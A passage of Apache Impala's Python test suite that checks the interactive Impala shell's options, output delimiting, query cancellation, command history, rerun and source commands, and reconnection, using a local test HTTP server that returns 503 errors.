from tests.common.impala_service import ImpaladService
from tests.common.impala_test_suite import ImpalaTestSuite
from tests.common.skip import SkipIfLocal
from tests.common.test_dimensions import create_client_protocol_dimension
from tests.common.test_dimensions import create_client_protocol_strict_dimension
from tests.shell.util import get_unused_port
from util import (assert_var_substitution, ImpalaShell, get_impalad_port, get_shell_cmd,
get_open_sessions_metric, IMPALA_SHELL_EXECUTABLE, spawn_shell)
import SimpleHTTPServer
import SocketServer
QUERY_FILE_PATH = os.path.join(os.environ['IMPALA_HOME'], 'tests', 'shell')
# Regex to match the interactive shell prompt that is expected after each command.
# Examples: hostname:21000, hostname:21050, hostname:28000
PROMPT_REGEX = r'\[[^:]+:2(1|8)0[0-9][0-9]\]'
LOG = logging.getLogger('test_shell_interactive')
@pytest.fixture
def tmp_history_file(request):
"""
Test fixture which uses a temporary file as the path for the shell
history.
"""
tmp = NamedTemporaryFile()
old_path = os.environ.get('IMPALA_HISTFILE')
os.environ['IMPALA_HISTFILE'] = tmp.name
def cleanup():
if old_path is not None:
os.environ['IMPALA_HISTFILE'] = old_path
else:
del os.environ['IMPALA_HISTFILE']
request.addfinalizer(cleanup)
return tmp.name
class RequestHandler503(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""A custom http handler that checks for duplicate 'Host' headers from the most
recent http request, and always returns a 503 http code."""
def __init__(self, request, client_address, server):
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, request, client_address,
server)
def should_send_body_text(self):
# in RequestHandler503 we do not send any body text
return False
def do_POST(self):
# The unfortunately named self.headers here is an instance of mimetools.Message that
# contains the request headers.
request_headers = self.headers.headers
# Ensure that only one 'Host' header is contained in the request before responding.
host_hdr_count = sum([header.startswith('Host:') for header in request_headers])
assert host_hdr_count == 1, "duplicate 'Host:' headers in %s" % request_headers
# Respond with 503.
self.send_response(code=httplib.SERVICE_UNAVAILABLE, message="Service Unavailable")
if self.should_send_body_text():
# Optionally send ody text with 503 message.
self.end_headers()
self.wfile.write("EXTRA")
class RequestHandler503Extra(RequestHandler503):
""""Override RequestHandler503 so as to send body text with the 503 message."""
def __init__(self, request, client_address, server):
RequestHandler503.__init__(self, request, client_address, server)
def should_send_body_text(self):
# in RequestHandler503Extra we will send body text
return True
class TestHTTPServer503(object):
def __init__(self, clazz):
self.HOST = "localhost"
self.PORT = get_unused_port()
self.httpd = SocketServer.TCPServer((self.HOST, self.PORT), clazz)
self.http_server_thread = threading.Thread(target=self.httpd.serve_forever)
self.http_server_thread.start()
def shutdown_server(server):
"""Helper method to shutdown a http server."""
if server.httpd is not None:
server.httpd.shutdown()
if server.http_server_thread is not None:
server.http_server_thread.join()
@pytest.yield_fixture
def http_503_server():
"""A fixture that creates an http server that returns a 503 http code."""
server = TestHTTPServer503(RequestHandler503)
yield server
# Cleanup after test.
shutdown_server(server)
@pytest.yield_fixture
def http_503_server_extra():
"""A fixture that creates an http server that returns a 503 http code with extra
body text."""
server = TestHTTPServer503(RequestHandler503Extra)
yield server
# Cleanup after test.
shutdown_server(server)
class TestImpalaShellInteractive(ImpalaTestSuite):
"""Test the impala shell interactively"""
@classmethod
def get_workload(self):
return 'functional-query'
@classmethod
def add_test_dimensions(cls):
# Run with both beeswax and HS2 to ensure that behaviour is the same.
cls.ImpalaTestMatrix.add_dimension(create_client_protocol_dimension())
cls.ImpalaTestMatrix.add_dimension(create_client_protocol_strict_dimension())
cls.ImpalaTestMatrix.add_constraint(lambda v:
v.get_value('protocol') != 'beeswax' or not v.get_value('strict_hs2_protocol'))
def _expect_with_cmd(self, proc, cmd, vector, expectations=(), db="default"):
"""Executes a command on the expect process instance and verifies a set of
assertions defined by the expectations."""
proc.sendline(cmd + ";")
proc.expect(":{0}] {1}>".format(get_impalad_port(vector), db))
if not expectations: return
for e in expectations:
assert e in proc.before
def _wait_for_num_open_sessions(self, vector, impala_service, expected, err):
"""Helper method to wait for the number of open sessions to reach 'expected'."""
metric_name = get_open_sessions_metric(vector)
try:
actual = impala_service.wait_for_metric_value(metric_name, expected)
except AssertionError:
LOG.exception("Error: %s" % err)
raise
assert actual == expected, err
def test_local_shell_options(self, vector):
"""Test that setting the local shell options works"""
proc = spawn_shell(get_shell_cmd(vector))
proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "set", vector,
("LIVE_PROGRESS: True", "LIVE_SUMMARY: False"))
self._expect_with_cmd(proc, "set live_progress=true", vector)
self._expect_with_cmd(proc, "set", vector,
("LIVE_PROGRESS: True", "LIVE_SUMMARY: False"))
self._expect_with_cmd(proc, "set live_summary=1", vector)
self._expect_with_cmd(proc, "set", vector,
("LIVE_PROGRESS: True", "LIVE_SUMMARY: True"))
self._expect_with_cmd(proc, "set", vector,
("WRITE_DELIMITED: False", "VERBOSE: True"))
self._expect_with_cmd(proc, "set", vector,
("DELIMITER: \\t", "OUTPUT_FILE: None"))
self._expect_with_cmd(proc, "set write_delimited=true", vector)
self._expect_with_cmd(proc, "set", vector, ("WRITE_DELIMITED: True", "VERBOSE: True"))
self._expect_with_cmd(proc, "set DELIMITER=,", vector)
self._expect_with_cmd(proc, "set", vector, ("DELIMITER: ,", "OUTPUT_FILE: None"))
self._expect_with_cmd(proc, "set output_file=/tmp/clmn.txt", vector)
self._expect_with_cmd(proc, "set", vector,
("DELIMITER: ,", "OUTPUT_FILE: /tmp/clmn.txt"))
proc.sendeof()
proc.wait()
@pytest.mark.execute_serially
def test_write_delimited(self, vector):
"""Test output rows in delimited mode"""
p = ImpalaShell(vector)
p.send_cmd("use tpch")
p.send_cmd("set write_delimited=true")
p.send_cmd("select * from nation")
result = p.get_result()
assert "+----------------+" not in result.stdout
assert "21\tVIETNAM\t2" in result.stdout, result.stdout
@pytest.mark.execute_serially
def test_change_delimiter(self, vector):
"""Test change output delimiter if delimited mode is enabled"""
p = ImpalaShell(vector)
p.send_cmd("use tpch")
p.send_cmd("set write_delimited=true")
p.send_cmd("set delimiter=,")
p.send_cmd("select * from nation")
result = p.get_result()
assert "21,VIETNAM,2" in result.stdout
@pytest.mark.execute_serially
def test_print_to_file(self, vector):
"""Test print to output file and unset"""
# test print to file
p1 = ImpalaShell(vector)
p1.send_cmd("use tpch")
local_file = NamedTemporaryFile(delete=True)
p1.send_cmd("set output_file=%s" % local_file.name)
p1.send_cmd("select * from nation")
result = p1.get_result()
assert "VIETNAM" not in result.stdout
with open(local_file.name, "r") as fi:
# check if the results were written to the file successfully
result = fi.read()
assert "VIETNAM" in result
# test unset to print back to stdout
p2 = ImpalaShell(vector)
p2.send_cmd("use tpch")
p2.send_cmd("set output_file=%s" % local_file.name)
p2.send_cmd("unset output_file")
p2.send_cmd("select * from nation")
result = p2.get_result()
assert "VIETNAM" in result.stdout
def test_compute_stats_with_live_progress_options(self, vector, unique_database):
"""Test that setting LIVE_PROGRESS options won't cause COMPUTE STATS query fail"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Live progress not supported in strict hs2 mode.")
p = ImpalaShell(vector)
p.send_cmd("set live_progress=True")
p.send_cmd("set live_summary=True")
table = "{0}.live_progress_option".format(unique_database)
p.send_cmd('create table {0}(col int);'.format(table))
try:
p.send_cmd('compute stats {0};'.format(table))
finally:
p.send_cmd('drop table if exists {0};'.format(table))
result = p.get_result()
assert "Updated 1 partition(s) and 1 column(s)" in result.stdout
def test_escaped_quotes(self, vector):
"""Test escaping quotes"""
# test escaped quotes outside of quotes
result = run_impala_shell_interactive(vector, "select \\'bc';")
if vector.get_value('strict_hs2_protocol'):
assert "ParseException" in result.stderr
else:
assert "Unexpected character" in result.stderr
result = run_impala_shell_interactive(vector, "select \\\"bc\";")
if vector.get_value('strict_hs2_protocol'):
assert "ParseException" in result.stderr
else:
assert "Unexpected character" in result.stderr
# test escaped quotes within quotes
result = run_impala_shell_interactive(vector, "select 'ab\\'c';")
assert "Fetched 1 row(s)" in result.stderr
result = run_impala_shell_interactive(vector, "select \"ab\\\"c\";")
assert "Fetched 1 row(s)" in result.stderr
@pytest.mark.execute_serially
def test_cancellation(self, vector):
impalad = ImpaladService(socket.getfqdn())
assert impalad.wait_for_num_in_flight_queries(0)
command = "select sleep(10000);"
p = ImpalaShell(vector)
p.send_cmd(command)
sleep(3)
os.kill(p.pid(), signal.SIGINT)
result = p.get_result()
assert "Cancelled" not in result.stderr
assert impalad.wait_for_num_in_flight_queries(0)
p = ImpalaShell(vector)
sleep(3)
os.kill(p.pid(), signal.SIGINT)
result = p.get_result()
assert "^C" in result.stderr
@pytest.mark.execute_serially
def test_cancellation_mid_command(self, vector):
"""Test that keyboard interrupt cancels multiline query strings"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("IMPALA-10827: Cancellation infrastructure does not " +
"work in strict hs2 mode.")
shell_cmd = get_shell_cmd(vector)
multiline_query = ["select column_1\n", "from table_1\n", "where ..."]
# Test keyboard interrupt mid line
child_proc = spawn_shell(shell_cmd)
child_proc.expect(PROMPT_REGEX)
for query_line in multiline_query:
child_proc.send(query_line)
child_proc.sendintr()
child_proc.expect("\^C")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline('quit;')
child_proc.wait()
# Test keyboard interrupt in new line
child_proc = spawn_shell(shell_cmd)
child_proc.expect(PROMPT_REGEX)
for query_line in multiline_query:
child_proc.send(query_line)
child_proc.send("\n")
child_proc.expect(">")
child_proc.sendintr()
child_proc.expect("> \^C")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline('quit;')
child_proc.wait()
def test_unicode_input(self, vector):
"""Test queries containing non-ascii input"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("IMPALA-10827: Failed, need to investigate.")
# test a unicode query spanning multiple lines
unicode_bytes = u'\ufffd'.encode('utf-8')
args = "select '{0}'\n;".format(unicode_bytes)
result = run_impala_shell_interactive(vector, args)
assert "Fetched 1 row(s)" in result.stderr, result.stderr
# IMPALA-10415: Multi queries in a line containing unicode chars.
args = "select '{0}'; select '{0}'".format(unicode_bytes)
result = run_impala_shell_interactive(vector, args)
assert "Fetched 1 row(s)" in result.stderr, result.stderr
# IMPALA-10415: Multiline query with history enabled and unicode chars.
# readline gets its input from tty, so using stdin does not work.
shell_cmd = get_shell_cmd(vector)
child_proc = pexpect.spawn(shell_cmd[0], shell_cmd[1:])
child_proc.expect(PROMPT_REGEX)
child_proc.sendline("select '{0}'\n;".format(unicode_bytes))
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline('quit;')
child_proc.wait()
def test_welcome_string(self, vector):
"""Test that the shell's welcome message is only printed once
when the shell is started. Ensure it is not reprinted on errors.
Regression test for IMPALA-1153
"""
result = run_impala_shell_interactive(vector, 'asdf;')
assert result.stdout.count("Welcome to the Impala shell") == 1
result = run_impala_shell_interactive(vector, 'select * from non_existent_table;')
assert result.stdout.count("Welcome to the Impala shell") == 1
def test_disconnected_shell(self, vector):
"""Test that the shell presents a disconnected prompt if it can't connect
"""
result = run_impala_shell_interactive(vector, 'asdf;', shell_args=['-ifoo'],
wait_until_connected=False)
assert ImpalaShellClass.DISCONNECTED_PROMPT in result.stdout, result.stderr
def test_quit_no_reconnect(self, vector):
"""Test that a disconnected shell does not try to reconnect if quitting"""
result = run_impala_shell_interactive(vector, 'quit;', shell_args=['-ifoo'],
wait_until_connected=False)
assert "reconnect" not in result.stderr
result = run_impala_shell_interactive(vector, 'exit;', shell_args=['-ifoo'],
wait_until_connected=False)
assert "reconnect" not in result.stderr
# Null case: This is not quitting, so it will result in an attempt to reconnect.
result = run_impala_shell_interactive(vector, 'show tables;', shell_args=['-ifoo'],
wait_until_connected=False)
assert "reconnect" in result.stderr
def test_bash_cmd_timing(self, vector):
"""Test existence of time output in bash commands run from shell"""
args = ["! ls;"]
result = run_impala_shell_interactive(vector, args)
assert "Executed in" in result.stderr
@SkipIfLocal.multiple_impalad
@pytest.mark.execute_serially
def test_reconnect(self, vector):
"""Regression Test for IMPALA-1235
Verifies that a connect command by the user is honoured.
"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("IMPALA-10827: Connect command not supported in strict hs2 mode")
try:
# Disconnect existing clients so there are no open sessions.
self.close_impala_clients()
hostname = socket.getfqdn()
initial_impala_service = ImpaladService(hostname)
target_impala_service = ImpaladService(hostname, webserver_port=25001,
beeswax_port=21001, hs2_port=21051, hs2_http_port=28001)
protocol = vector.get_value("protocol").lower()
if protocol == "hs2":
target_port = 21051
elif protocol == "hs2-http":
target_port = 28001
else:
assert protocol == "beeswax"
target_port = 21001
# This test is running serially, so there shouldn't be any open sessions, but wait
# here in case a session from a previous test hasn't been fully closed yet.
self._wait_for_num_open_sessions(vector, initial_impala_service, 0,
"first impalad should not have any remaining open sessions.")
self._wait_for_num_open_sessions(vector, target_impala_service, 0,
"second impalad should not have any remaining open sessions.")
# Connect to the first impalad
p = ImpalaShell(vector)
# Make sure we're connected <hostname>:<port>
self._wait_for_num_open_sessions(vector, initial_impala_service, 1,
"Not connected to %s:%d" % (hostname, get_impalad_port(vector)))
p.send_cmd("connect %s:%d" % (hostname, target_port))
# The number of sessions on the target impalad should have been incremented.
self._wait_for_num_open_sessions(vector,
target_impala_service, 1, "Not connected to %s:%d" % (hostname, target_port))
assert "[%s:%d] default>" % (hostname, target_port) in p.get_result().stdout
# The number of sessions on the initial impalad should have been decremented.
self._wait_for_num_open_sessions(vector, initial_impala_service, 0,
"Connection to %s:%d should have been closed" % (
hostname, get_impalad_port(vector)))
finally:
self.create_impala_clients()
@pytest.mark.execute_serially
def test_ddl_queries_are_closed(self, vector):
"""Regression test for IMPALA-1317
The shell does not call close() for alter, use and drop queries, leaving them in
flight. This test issues those queries in interactive mode, and checks the debug
webpage to confirm that they've been closed.
TODO: Add every statement type.
"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Inflight query support does not exist in strict hs2 mode.")
# IMPALA-10312: deflake the test by increasing timeout above the default
TIMEOUT_S = 30
# Disconnect existing clients so there are no open sessions.
self.close_impala_clients()
TMP_DB = 'inflight_test_db'
TMP_TBL = 'tmp_tbl'
MSG = '%s query should be closed'
NUM_QUERIES = 'impala-server.num-queries'
impalad = ImpaladService(socket.getfqdn())
self._wait_for_num_open_sessions(vector, impalad, 0,
"Open sessions found after closing all clients.")
p = ImpalaShell(vector)
try:
start_num_queries = impalad.get_metric_value(NUM_QUERIES)
p.send_cmd('create database if not exists %s' % TMP_DB)
p.send_cmd('use %s' % TMP_DB)
impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 2)
assert impalad.wait_for_num_in_flight_queries(0, TIMEOUT_S), MSG % 'use'
p.send_cmd('create table %s(i int)' % TMP_TBL)
p.send_cmd('alter table %s add columns (j int)' % TMP_TBL)
impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 4)
assert impalad.wait_for_num_in_flight_queries(0, TIMEOUT_S), MSG % 'alter'
p.send_cmd('drop table %s' % TMP_TBL)
impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 5)
assert impalad.wait_for_num_in_flight_queries(0, TIMEOUT_S), MSG % 'drop'
finally:
# get_result() must be called to exit the shell.
p.get_result()
self._wait_for_num_open_sessions(vector, impalad, 0,
"shell should close sessions.")
run_impala_shell_interactive(vector, "drop table if exists %s.%s;" % (
TMP_DB, TMP_TBL))
run_impala_shell_interactive(vector, "drop database if exists foo;")
self.create_impala_clients()
def test_multiline_queries_in_history(self, vector, tmp_history_file):
"""Test to ensure that multiline queries with comments are preserved in history
Ensure that multiline queries are preserved when they're read back from history.
Additionally, also test that comments are preserved.
"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("History command not supported in strict hs2 mode.")
# readline gets its input from tty, so using stdin does not work.
child_proc = spawn_shell(get_shell_cmd(vector))
# List of (input query, expected text in output).
# The expected output is usually the same as the input with a number prefix, except
# where the shell strips newlines before a semicolon.
queries = [
("select\n1;--comment", "[1]: select\n1;--comment"),
("select 1 --comment\n;", "[2]: select 1 --comment;"),
("select 1 --comment\n\n\n;", "[3]: select 1 --comment;"),
("select /*comment*/\n1;", "[4]: select /*comment*/\n1;"),
("select\n/*comm\nent*/\n1;", "[5]: select\n/*comm\nent*/\n1;")]
for query, _ in queries:
child_proc.expect(PROMPT_REGEX)
child_proc.sendline(query)
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline('quit;')
child_proc.wait()
p = ImpalaShell(vector)
p.send_cmd('history')
result = p.get_result()
for _, history_entry in queries:
assert history_entry in result.stderr, "'%s' not in '%s'" % (history_entry,
result.stderr)
def test_history_does_not_duplicate_on_interrupt(self, vector, tmp_history_file):
"""This test verifies that once the cmdloop is broken the history file will not be
re-read. The cmdloop can be broken when the user sends a SIGINT or exceptions
occur."""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("History command not supported in strict hs2 mode.")
# readline gets its input from tty, so using stdin does not work.
shell_cmd = get_shell_cmd(vector)
child_proc = spawn_shell(shell_cmd)
# initialize history
child_proc.expect(PROMPT_REGEX)
child_proc.sendline("select 1;")
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline("quit;")
child_proc.wait()
# create a new shell and send SIGINT
child_proc = spawn_shell(shell_cmd)
child_proc.expect(PROMPT_REGEX)
child_proc.sendintr()
child_proc.expect("\^C")
child_proc.sendline("select 2;")
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline("quit;")
child_proc.wait()
# check history in a new shell instance
p = ImpalaShell(vector)
p.send_cmd('history')
result = p.get_result().stderr.splitlines()
assert "[1]: select 1;" == result[1]
assert "[2]: quit;" == result[2]
assert "[3]: select 2;" == result[3]
assert "[4]: quit;" == result[4]
def test_history_file_option(self, vector, tmp_history_file):
"""
Setting the 'tmp_history_file' fixture above means that the IMPALA_HISTFILE
environment will be overridden. Here we override that environment by passing
the --history_file command line option, ensuring that the history ends up
in the appropriate spot.
"""
with NamedTemporaryFile() as new_hist:
shell_cmd = get_shell_cmd(vector) + ["--history_file=%s" % new_hist.name]
child_proc = spawn_shell(shell_cmd)
child_proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(child_proc, "select 'hi'", vector, ('hi'))
child_proc.sendline('exit;')
child_proc.expect(pexpect.EOF)
history_contents = file(new_hist.name).read()
assert "select 'hi'" in history_contents
def test_rerun(self, vector, tmp_history_file):
"""Smoke test for the 'rerun' command"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Rerun not supported in strict hs2 mode.")
child_proc = spawn_shell(get_shell_cmd(vector))
child_proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(child_proc, "@1", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, "rerun -1", vector,
("Command index out of range"))
self._expect_with_cmd(child_proc, "select 'first_command'", vector,
("first_command"))
self._expect_with_cmd(child_proc, "rerun 1", vector, ("first_command"))
self._expect_with_cmd(child_proc, "@ -1", vector, ("first_command"))
self._expect_with_cmd(child_proc, "select 'second_command'", vector,
("second_command"))
child_proc.sendline('history;')
child_proc.expect(":{0}] default>".format(get_impalad_port(vector)))
assert '[1]: select \'first_command\';' in child_proc.before
assert '[2]: select \'second_command\';' in child_proc.before
assert '[3]: history;' in child_proc.before
# Rerunning command should not add an entry into history.
assert '[4]' not in child_proc.before
self._expect_with_cmd(child_proc, "@0", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, "rerun 4", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, "@-4", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, " @ 3 ", vector, ("second_command"))
self._expect_with_cmd(child_proc, "@-3", vector, ("first_command"))
self._expect_with_cmd(child_proc, "@", vector,
("Command index to be rerun must be an integer."))
self._expect_with_cmd(child_proc, "@1foo", vector,
("Command index to be rerun must be an integer."))
self._expect_with_cmd(child_proc, "@1 2", vector,
("Command index to be rerun must be an integer."))
self._expect_with_cmd(child_proc, "rerun1", vector, ("Syntax error"))
child_proc.sendline('quit;')
child_proc.wait()
def test_tip(self, vector):
"""Smoke test for the TIP command"""
# Temporarily add impala_shell module to path to get at TIPS list for verification
sys.path.append("%s/shell/" % os.environ['IMPALA_HOME'])
try:
import impala_shell
finally:
sys.path = sys.path[:-1]
result = run_impala_shell_interactive(vector, "tip;")
for t in impala_shell.TIPS:
if t in result.stderr: return
assert False, "No tip found in output %s" % result.stderr
def test_var_substitution(self, vector):
cmds = open(os.path.join(QUERY_FILE_PATH, 'test_var_substitution.sql')).read()
args = ["--var=foo=123", "--var=BAR=456", "--delimited", "--output_delimiter= "]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert_var_substitution(result)
def test_query_option_configuration(self, vector):
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Set command not supported in strict hs2 mode.")
rcfile_path = os.path.join(QUERY_FILE_PATH, 'impalarc_with_query_options')
args = ['-Q', 'MT_dop=1', '--query_option=MAX_ERRORS=200',
'--config_file=%s' % rcfile_path]
cmds = "set all;"
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tMT_DOP: 1" in result.stdout
assert "\tMAX_ERRORS: 200" in result.stdout
assert "\tEXPLAIN_LEVEL: 2" in result.stdout
assert "INVALID_QUERY_OPTION is not supported for the impalad being connected to, "\
"ignoring." in result.stdout
# Verify that query options under [impala] override those under [impala.query_options]
assert "\tDEFAULT_FILE_FORMAT: avro" in result.stdout
def test_commandline_flag_disable_live_progress(self, vector):
"""Test the command line flag disable_live_progress with live_progress."""
# By default, shell option live_progress is set to True in the interactive mode.
cmds = "set all;"
result = run_impala_shell_interactive(vector, cmds)
assert "\tLIVE_PROGRESS: True" in result.stdout
# override the default option through command line argument.
args = ['--disable_live_progress']
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tLIVE_PROGRESS: False" in result.stdout
# set live_progress as True with config file.
# override the option in config file through command line argument.
rcfile_path = os.path.join(QUERY_FILE_PATH, 'good_impalarc3')
args = ['--disable_live_progress', '--config_file=%s' % rcfile_path]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tLIVE_PROGRESS: False" in result.stdout
def test_live_option_configuration(self, vector):
"""Test the optional configuration file with live_progress and live_summary."""
# Positive tests
# set live_summary and live_progress as True with config file
rcfile_path = os.path.join(QUERY_FILE_PATH, 'good_impalarc3')
cmd_line_args = ['--config_file=%s' % rcfile_path]
cmds = "set all;"
result = run_impala_shell_interactive(vector, cmds, shell_args=cmd_line_args)
assert 'WARNING:' not in result.stderr, \
"A valid config file should not trigger any warning: {0}".format(result.stderr)
assert "\tLIVE_SUMMARY: True" in result.stdout
assert "\tLIVE_PROGRESS: True" in result.stdout
# set live_summary and live_progress as False with config file
rcfile_path = os.path.join(QUERY_FILE_PATH, 'good_impalarc4')
args = ['--config_file=%s' % rcfile_path]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert 'WARNING:' not in result.stderr, \
"A valid config file should not trigger any warning: {0}".format(result.stderr)
assert "\tLIVE_SUMMARY: False" in result.stdout
assert "\tLIVE_PROGRESS: False" in result.stdout
# override options in config file through command line arguments
args = ['--live_progress', '--live_summary', '--config_file=%s' % rcfile_path]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tLIVE_SUMMARY: True" in result.stdout
assert "\tLIVE_PROGRESS: True" in result.stdout
def test_source_file(self, vector):
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Version not supported in strict hs2 mode.")
cwd = os.getcwd()
try:
# Change working dir so that SOURCE command in shell.cmds can find shell2.cmds.
os.chdir("%s/tests/shell/" % os.environ['IMPALA_HOME'])
# IMPALA-5416: Test that a command following 'source' won't be run twice.
result = run_impala_shell_interactive(vector, "source shell.cmds;select \"second "
"command\";")
assert "Query: USE FUNCTIONAL" in result.stderr
assert "Query: SHOW TABLES" in result.stderr
assert "alltypes" in result.stdout
# This is from shell2.cmds, the result of sourcing a file from a sourced file.
assert "SELECT VERSION()" in result.stderr
assert "version()" in result.stdout
assert len(re.findall("'second command'", result.stdout)) == 1
# IMPALA-5416: Test that two source commands on a line won't crash the shell.
result = run_impala_shell_interactive(
vector, "source shell.cmds;source shell.cmds;")
assert len(re.findall("version\(\)", result.stdout)) == 2
finally:
os.chdir(cwd)
def test_source_file_with_errors(self, vector):
full_path = "%s/tests/shell/shell_error.cmds" % os.environ['IMPALA_HOME']
result = run_impala_shell_interactive(vector, "source %s;" % full_path)
assert "Could not execute command: USE UNKNOWN_DATABASE" in result.stderr
assert "Query: USE FUNCTIONAL" not in result.stderr
result = run_impala_shell_interactive(vector, "source %s;" % full_path, ['-c'])
assert "Could not execute command: USE UNKNOWN_DATABASE" in result.stderr,\
result.stderr
assert "Query: USE FUNCTIONAL" in result.stderr, result.stderr
assert "Query: SHOW TABLES" in result.stderr, result.stderr
assert "alltypes" in result.stdout, result.stdout
def test_source_missing_file(self, vector):
full_path = "%s/tests/shell/doesntexist.cmds" % os.environ['IMPALA_HOME']
result = run_impala_shell_interactive(vector, "source %s;" % full_path)
assert "No such file or directory" in result.stderr
def test_zero_row_fetch(self, vector):
# IMPALA-4418: DROP and USE are generally exceptional statements where
# the client does not fetch. For statements returning 0 rows we do not
# want an empty line in stdout.
result = run_impala_shell_interactive(vector, "-- foo \n use default;")
assert re.search('> \[', result.stdout)
result = run_impala_shell_interactive(vector,
"select * from functional.alltypes limit 0;")
assert "Fetched 0 row(s)" in result.stderr
assert re.search('> \[', result.stdout)
def test_set_and_set_all(self, vector):
"""IMPALA-2181. Tests the outputs of SET and SET ALL commands. SET should contain the
REGULAR and ADVANCED options only. SET ALL should contain all the options grouped by
display level."""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Set command not supported in strict hs2 mode.")
shell1 = ImpalaShell(vector)
shell1.send_cmd("set")
result = shell1.get_result()
assert "Query options (defaults shown in []):" in result.stdout
assert "ABORT_ON_ERROR" in result.stdout
assert "Advanced Query Options:" in result.stdout
assert "APPX_COUNT_DISTINCT" in result.stdout
assert vector.get_value("protocol") in ("hs2", "hs2-http")\
or "SUPPORT_START_OVER" in result.stdout
# Development, deprecated and removed options should not be shown.
# Note: there are currently no deprecated options
assert "Development Query Options:" not in result.stdout
assert "DEBUG_ACTION" not in result.stdout # Development option.
assert "MAX_IO_BUFFERS" not in result.stdout # Removed option.
shell2 = ImpalaShell(vector)
shell2.send_cmd("set all")
result = shell2.get_result()
assert "Query options (defaults shown in []):" in result.stdout
assert "Advanced Query Options:" in result.stdout
assert "Development Query Options:" in result.stdout
assert "Deprecated Query Options:" not in result.stdout
advanced_part_start_idx = result.stdout.find("Advanced Query Options")
development_part_start_idx = result.stdout.find("Development Query Options")
deprecated_part_start_idx = result.stdout.find("Deprecated Query Options")
advanced_part = result.stdout[advanced_part_start_idx:development_part_start_idx]
development_part = result.stdout[development_part_start_idx:deprecated_part_start_idx]
assert "ABORT_ON_ERROR" in result.stdout[:advanced_part_start_idx]
assert "APPX_COUNT_DISTINCT" in advanced_part
assert vector.get_value("protocol") in ("hs2", "hs2-http")\
or "SUPPORT_START_OVER" in advanced_part
assert "DEBUG_ACTION" in development_part
# Removed options should not be shown.
assert "MAX_IO_BUFFERS" not in result.stdout
def check_command_case_sensitivity(self, vector, command, expected):
shell = ImpalaShell(vector)
shell.send_cmd(command)
assert expected in shell.get_result().stderr
def test_unexpected_conversion_for_literal_string_to_lowercase(self, vector):
# IMPALA-4664: Impala shell can accidentally convert certain literal
# strings to lowercase. Impala shell splits each command into tokens
# and then converts the first token to lowercase to figure out how it
# should execute the command. The splitting is done by spaces only.
# Thus, if the user types a TAB after the SELECT, the first token after
# the split becomes the SELECT plus whatever comes after it.
result = run_impala_shell_interactive(vector, "select'MUST_HAVE_UPPER_STRING'")
assert re.search('MUST_HAVE_UPPER_STRING', result.stdout)
result = run_impala_shell_interactive(vector, "select\t'MUST_HAVE_UPPER_STRING'")
assert re.search('MUST_HAVE_UPPER_STRING', result.stdout)
result = run_impala_shell_interactive(vector, "select\n'MUST_HAVE_UPPER_STRING'")
assert re.search('MUST_HAVE_UPPER_STRING', result.stdout)
def test_case_sensitive_command(self, vector):
# IMPALA-2640: Make a given command case-sensitive
cwd = os.getcwd()
try:
self.check_command_case_sensitivity(vector, "sElEcT VERSION()", "Query: sElEcT")
self.check_command_case_sensitivity(vector, "sEt VaR:FoO=bOo", "Variable FOO")
self.check_command_case_sensitivity(vector, "sHoW tables", "Query: sHoW")
# Change working dir so that SOURCE command in shell_case_sensitive.cmds can
# find shell_case_sensitive2.cmds.
os.chdir("%s/tests/shell/" % os.environ['IMPALA_HOME'])
result = run_impala_shell_interactive(vector,
"sOuRcE shell_case_sensitive.cmds; SeLeCt 'second command'")
print result.stderr
assert "Query: uSe FUNCTIONAL" in result.stderr
assert "Query: ShOw TABLES" in result.stderr
assert "alltypes" in result.stdout
# This is from shell_case_sensitive2.cmds, the result of sourcing a file
# from a sourced file.
print result.stderr
assert "SeLeCt 'second command'" in result.stderr
finally:
os.chdir(cwd)
def test_line_with_leading_comment(self, vector, unique_database):
# IMPALA-2195: A line with a comment produces incorrect command.
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Leading omments not supported in strict hs2 mode.")
table = "{0}.leading_comment".format(unique_database)
run_impala_shell_interactive(vector, 'create table {0} (i int);'.format(table))
result = run_impala_shell_interactive(vector, '-- comment\n'
'insert into {0} values(1);'.format(table))
assert 'Modified 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '-- comment\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '--한글\n'
